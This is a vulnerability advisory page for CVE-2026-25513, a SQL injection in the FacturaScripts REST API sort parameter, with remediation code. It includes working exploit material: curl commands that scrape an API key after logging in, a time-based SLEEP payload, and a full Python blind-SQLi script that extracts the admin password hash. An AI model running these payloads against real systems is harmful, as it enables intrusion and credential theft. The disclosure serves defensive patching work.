Lucene search
K

📄 FacturaScripts SQL Injection

🗓️ 13 Apr 2026 00:00:00Reported by Łukasz RybakType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 62 Views

FacturaScripts has a critical SQL injection in the REST API via the sort parameter exploited by getOrderBy.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-25513
4 Feb 202619:59
attackerkb
Circl
CVE-2026-25513
3 Feb 202610:32
circl
CNNVD
FacturaScripts 安全漏洞
4 Feb 202600:00
cnnvd
CVE
CVE-2026-25513
4 Feb 202619:59
cve
Cvelist
CVE-2026-25513 FacturaScripts has SQL Injection vulnerability in API ORDER BY Clause
4 Feb 202619:59
cvelist
GithubExploit
Exploit for Improper Neutralization of Special Elements in Data Query Logic in Facturascripts
11 Apr 202619:14
githubexploit
EUVD
EUVD-2026-5359
4 Feb 202619:59
euvd
EUVD
EUVD-2026-6094
16 Feb 202612:30
euvd
Github Security Blog
FacturaScripts has SQL Injection in API ORDER BY Clause
3 Feb 202618:14
github
NVD
CVE-2026-25513
4 Feb 202620:16
nvd
Rows per page
# CVE-2026-25513: FacturaScripts has SQL Injection in API ORDER BY Clause
    
    ## Overview
    
    | Field | Details |
    |---|---|
    | **CVE ID** | [CVE-2026-25513](https://nvd.nist.gov/vuln/detail/CVE-2026-25513) |
    | **Severity** | HIGH |
    | **Advisory** | [View Advisory](https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-cjfx-qhwm-hf99) |
    | **Discovered by** | [Lukasz Rybak](https://github.com/lukasz-rybak) |
    
    ## Affected Products
    
    - **facturascripts/facturascripts** (versions: < 2025.81)
    
    
    ## CWE Classification
    
    - CWE-20: Improper Input Validation
    - CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
    - CWE-943: Improper Neutralization of Special Elements in Data Query Logic
    - CWE-1286: Improper Validation of Syntactic Correctness of Input
    
    ## Details
    
    ### Summary
    **FacturaScripts contains a critical SQL injection vulnerability in the REST API** that allows authenticated API users to execute arbitrary SQL queries through the `sort` parameter. The vulnerability exists in the `ModelClass::getOrderBy()` method where user-supplied sorting parameters are directly concatenated into the SQL ORDER BY clause without validation or sanitization. This affects **all API endpoints** that support sorting functionality.
    
    ---
    
    ### Details
    
    The FacturaScripts REST API exposes database models through various endpoints (e.g., `/api/3/users`, `/api/3/attachedfiles`, `/api/3/customers`). These endpoints support a `sort` parameter that allows clients to specify result ordering. The API processes this parameter through the `ModelClass::all()` method, which calls the vulnerable `getOrderBy()` function.
    
    #### Vulnerable Code Locations
    
    **1. Legacy Models:**
    **File:** `/Core/Model/Base/ModelClass.php`
    **Method:** `getOrderBy()`
    Direct concatenation of keys and values from the `$order` array.
    
    **2. Modern Models (DbQuery):**
    **File:** `/Core/DbQuery.php`
    **Method:** `orderBy()`
    **Lines:** 255-259
    ```php
            // If it contains parentheses, it is not escaped (VULNERABILITY!)
            if (strpos($field, '(') !== false && strpos($field, ')') !== false) {
                $this->orderBy[] = $field . ' ' . $order;
                return $this;
            }
    ```
    This check is intended to allow SQL functions but fails to validate them, allowing arbitrary SQL injection.
    
    ---
    
    ### Proof of Concept (PoC)
    
    #### Prerequisites
    - Valid API authentication token (X-Auth-Token header)
    - Access to FacturaScripts API endpoints
    
    #### Step-by-Step Verification (CLI)
    
    Since FacturaScripts requires an existing API key, we first log in via the web interface to find a valid key.
    
    **1. Login and Retrieve a valid API key:**
    We handle the CSRF token and session cookies to access the settings and retrieve the first available key.
    ```bash
    # Login
    TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+' | head -n 1)
    curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
      -d "fsNick=admin" -d "fsPassword=admin" -d "action=login" -d "multireqtoken=$TOKEN"
    
    # Find the ID of the first existing API key
    API_ID=$(curl -s -b cookies.txt "http://localhost:8091/EditSettings?activetab=ListApiKey" | grep -Po 'EditApiKey\?code=\K\d+' | head -n 1)
    
    # Extract the API key string using its ID
    API_KEY=$(curl -s -b cookies.txt "http://localhost:8091/EditApiKey?code=$API_ID" | grep -Po 'name="apikey" value="\K[^"]+' | head -n 1)
    echo "Using API Key: $API_KEY"
    ```
    
    **2. Verify Time-Based SQL Injection:**
    Use the extracted `API_KEY` in the `X-Auth-Token` header.
    ```bash
    # Normal request (baseline)
    time curl -g -s -H "X-Auth-Token: $API_KEY" "http://localhost:8091/api/3/users?limit=1"
    
    # Injected request (SLEEP payload in the sort key)
    time curl -g -s -H "X-Auth-Token: $API_KEY" \
      "http://localhost:8091/api/3/users?limit=1&sort[nick,(SELECT(SLEEP(3)))]=ASC"
    ```
    
    **Expected Result:** The injected request will take significantly longer (delay depends on database records), confirming the SQL injection.
    
    ---
    
    #### Automated Exploitation Tool
    
    This script automatically logs into FacturaScripts, retrieves a valid API key, and performs case-sensitive data extraction using time-based blind SQL injection.
    
    ```python
    import requests
    import time
    import string
    import re
    
    # Configuration
    BASE_URL = "http://localhost:8091"
    USERNAME = "admin"
    PASSWORD = "admin"
    API_ENDPOINT = "/api/3/users"
    
    session = requests.Session()
    
    def get_token(url):
        """Extract multireqtoken from any page"""
        res = session.get(url)
        match = re.search(r'name="multireqtoken" value="([^"]+)"', res.text)
        return match.group(1) if match else None
    
    def get_api_key():
        """Logs in and retrieves the first active API key dynamically"""
        print(f"[*] Logging in as {USERNAME}...")
        
        # 1. Login flow
        token = get_token(f"{BASE_URL}/login")
        if not token:
            print("[!] Failed to get initial CSRF token")
            return None
            
        login_data = {
            "fsNick": USERNAME,
            "fsPassword": PASSWORD,
            "action": "login",
            "multireqtoken": token
        }
        res = session.post(f"{BASE_URL}/login", data=login_data)
        if "Dashboard" not in res.text:
            print("[!] Login failed!")
            return None
        print("[+] Login successful.")
    
        # 2. Retrieve API Key ID from settings
        print("[*] Accessing API settings...")
        res = session.get(f"{BASE_URL}/EditSettings?activetab=ListApiKey")
        id_match = re.search(r'EditApiKey\?code=(\d+)', res.text)
        if not id_match:
            print("[!] No API keys found in system!")
            return None
        
        api_id = id_match.group(1)
        
        # 3. Get the actual API key string
        print(f"[*] Retrieving API key for ID {api_id}...")
        res = session.get(f"{BASE_URL}/EditApiKey?code={api_id}")
        key_match = re.search(r'name="apikey" value="([^"]+)"', res.text)
        if not key_match:
            print("[!] Failed to extract API key from page!")
            return None
            
        return key_match.group(1)
    
    def time_based_sqli(api_key, payload):
        """Execute time-based SQL injection and measure response time"""
        headers = {"X-Auth-Token": api_key}
        params = {
            'limit': 1,
            f'sort[{payload}]': 'ASC'
        }
        start = time.time()
        try:
            requests.get(f"{BASE_URL}{API_ENDPOINT}", headers=headers, params=params, timeout=10)
        except requests.exceptions.ReadTimeout:
            return 10.0
        except:
            pass
        return time.time() - start
    
    def extract_data(api_key, query, length=60):
        """Extracts data char by char using time-based blind SQLi"""
        extracted = ""
        charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$./"
        
        print(f"[*] Starting extraction for query: {query}")
        for i in range(1, length + 1):
            found = False
            for char in charset:
                # Added BINARY to force case-sensitive comparison
                payload = f"(SELECT IF(BINARY SUBSTRING(({query}),{i},1)='{char}',SLEEP(2),nick))"
                elapsed = time_based_sqli(api_key, payload)
                
                if elapsed >= 2.0:
                    extracted += char
                    print(f"[+] Found char at pos {i}: {char} -> {extracted}")
                    found = True
                    break
            if not found:
                break
        return extracted
    
    def main():
        print("="*60)
        print(" FacturaScripts Dynamic SQLi Exfiltration Tool")
        print("="*60)
    
        # 1. Get API Key dynamically
        api_key = get_api_key()
        if not api_key:
            return
        print(f"[+] Using API Key: {api_key}")
    
        # 2. Verify vulnerability
        print("[*] Verifying vulnerability...")
        if time_based_sqli(api_key, "(SELECT SLEEP(2))") >= 2.0:
            print("[+] System is VULNERABLE!")
        else:
            print("[-] System not vulnerable or API key invalid.")
            return
    
        # 3. Extract Admin Password Hash
        admin_hash = extract_data(api_key, "SELECT password FROM users WHERE nick='admin'")
        print(f"\n[!] FINAL ADMIN HASH: {admin_hash}")
    
    if __name__ == "__main__":
        main()
    ```
    <img width="862" height="1221" alt="image" src="https://github.com/user-attachments/assets/9bdf5342-a48f-47f3-a3aa-68e221624273" />
    
    ---
    
    ### Impact
    
    #### Data Confidentiality
    - **Complete database disclosure** through blind SQL injection techniques
    - Extraction of sensitive data including:
      - User credentials and API keys
      - Customer PII (personal identifiable information)
      - Financial records and transaction data
      - Business intelligence and pricing information
      - System configuration and secrets
    
    #### Who is Impacted?
    - **Organizations using FacturaScripts API** for integrations
    - **Mobile apps and third-party integrations** using the API
    - **All users whose data is accessible via API**
    - **Business partners with API access**
    
    ---
    
    ### Recommended Fix
    
    #### Immediate Remediation
    
    **Option 1: Implement Strict Whitelist Validation (Recommended)**
    
    ```php
    // File: Core/Model/Base/ModelClass.php
    // Method: getOrderBy()
    
    private static function getOrderBy(array $order): string
    {
        $result = '';
        $coma = ' ORDER BY ';
    
        // Get valid column names from model
        $validColumns = array_keys(static::getModelFields());
    
        foreach ($order as $key => $value) {
            // Validate column name against whitelist
            if (!in_array($key, $validColumns, true)) {
                throw new \Exception('Invalid column name for sorting: ' . $key);
            }
    
            // Validate sort direction (must be ASC or DESC)
            $value = strtoupper(trim($value));
            if (!in_array($value, ['ASC', 'DESC'], true)) {
                throw new \Exception('Invalid sort direction: ' . $value);
            }
    
            // Escape column name
            $safeColumn = self::$dataBase->escapeColumn($key);
            $result .= $coma . $safeColumn . ' ' . $value;
            $coma = ', ';
        }
    
        return $result;
    }
    ```
    
    **Option 2: Use Database Escaping Functions**
    
    ```php
    private static function getOrderBy(array $order): string
    {
        $result = '';
        $coma = ' ORDER BY ';
    
        foreach ($order as $key => $value) {
            // Escape identifiers and validate direction
            $safeColumn = self::$dataBase->escapeColumn($key);
            $safeDirection = in_array(strtoupper($value), ['ASC', 'DESC'])
                ? strtoupper($value)
                : 'ASC';
    
            $result .= $coma . $safeColumn . ' ' . $safeDirection;
            $coma = ', ';
        }
    
        return $result;
    }
    ```
    
    **Option 3: Use Query Builder Pattern**
    
    ```php
    // Refactor to use prepared statements
    public static function all(array $where = [], array $order = [], int $offset = 0, int $limit = 0): array
    {
        $query = self::table();
    
        // Apply WHERE conditions
        foreach ($where as $condition) {
            $query->where($condition);
        }
    
        // Apply ORDER BY with validation
        foreach ($order as $column => $direction) {
            if (!array_key_exists($column, static::getModelFields())) {
                continue; // Skip invalid columns
            }
            $query->orderBy($column, $direction);
        }
    
        return $query->offset($offset)->limit($limit)->get();
    }
    ```
    
    #### API Security Best Practices
    
    ```php
    // Add to API configuration
    $config = [
        'max_sort_fields' => 3,  // Limit number of sort fields
        'allowed_sort_fields' => ['id', 'date', 'name'],  // Whitelist
        'default_sort' => 'id ASC',  // Safe default
    ];
    ```
    
    ---
    
    ### Credits
    
    **Discovered by:** Łukasz Rybak
    
    ## References
    
    - https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-cjfx-qhwm-hf99
    - https://github.com/NeoRazorX/facturascripts/commit/1b6cdfa9ee1bb3365ea4a4ad753452035a027605
    - https://nvd.nist.gov/vuln/detail/CVE-2026-25513
    - https://github.com/advisories/GHSA-cjfx-qhwm-hf99
    
    
    ## Disclaimer
    
    This CVE was responsibly disclosed following coordinated vulnerability disclosure practices. The information provided here is for educational and defensive purposes only.

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Apr 2026 00:00Current
6.2Medium risk
Vulners AI Score6.2
CVSS 3.18.8
CVSS 48.3
EPSS0.00025
SSVC
62